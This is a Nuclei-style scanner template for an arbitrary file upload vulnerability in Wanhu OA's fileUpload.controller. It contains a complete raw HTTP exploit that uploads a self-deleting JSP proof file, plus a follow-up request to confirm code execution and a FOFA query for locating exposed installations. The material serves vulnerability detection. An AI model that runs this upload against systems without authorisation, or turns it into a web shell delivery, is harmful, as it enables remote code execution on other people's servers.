56 lines
2.3 KiB
YAML
Executable File
56 lines
2.3 KiB
YAML
Executable File
id: wanhu-oa-fileupload-controller
|
|
|
|
info:
|
|
name: Wanhu OA Fileupload Controller - Arbitrary File Upload
|
|
author: SleepingBag945
|
|
severity: critical
|
|
description: |
|
|
There is an arbitrary file upload vulnerability in Wanhu OA fileUpload.controller. An attacker can upload any file through the vulnerability.
|
|
reference:
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/90103c248a2c52bb0a060d0ee95d5a67e4579c3d/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20fileUpload.controller%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md?plain=1#L24
|
|
- https://github.com/tr0uble-mAker/POC-bomber/blob/d2433ac41eaa58eb4fb0876ec05e3b645e10ecd7/pocs/redteam/wanhu_oa_fileupload-controller_fileupload_2022.py#L20
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
fofa-query: app="万户网络-ezOFFICE"
|
|
tags: wanhu,oa,fileupload,controller,intrusive
|
|
variables:
|
|
num1: "{{rand_int(1000, 9999)}}"
|
|
num2: "{{rand_int(1000, 9999)}}"
|
|
result: "{{to_number(num1)*to_number(num2)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /defaultroot/upload/fileUpload.controller HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed
|
|
Cookie: OASESSIONID=416B4CE965CD27DEED8197A8528A33E6
|
|
|
|
--b0d829daa06c13d6b3e16b0ad21d1eed
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
|
|
Content-Type: application/octet-stream
|
|
|
|
<%out.print({{num1}}*{{num2}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
|
|
--b0d829daa06c13d6b3e16b0ad21d1eed--
|
|
- |
|
|
GET /defaultroot/upload/html/{{filename}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_1 == 200 && contains(body_1, "\"result\":\"success\"") && contains(body_1,"fileSize")'
|
|
- 'status_code_2 == 200 && contains(body_2,"{{result}}")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: filename
|
|
group: 1
|
|
regex:
|
|
- '"data":"(.*?)"'
|
|
internal: true
|
|
|
|
# digest: 4a0a004730450220285126b729ccfd09f0e766a08c863930f1745d4071db7394de32056e9ff8dbf4022100f804bdbc219b632b22c97298af1e2d8eddf3c193532ce219e906096c2ff25f2b:922c64590222798bb761d5b6d8e72950
|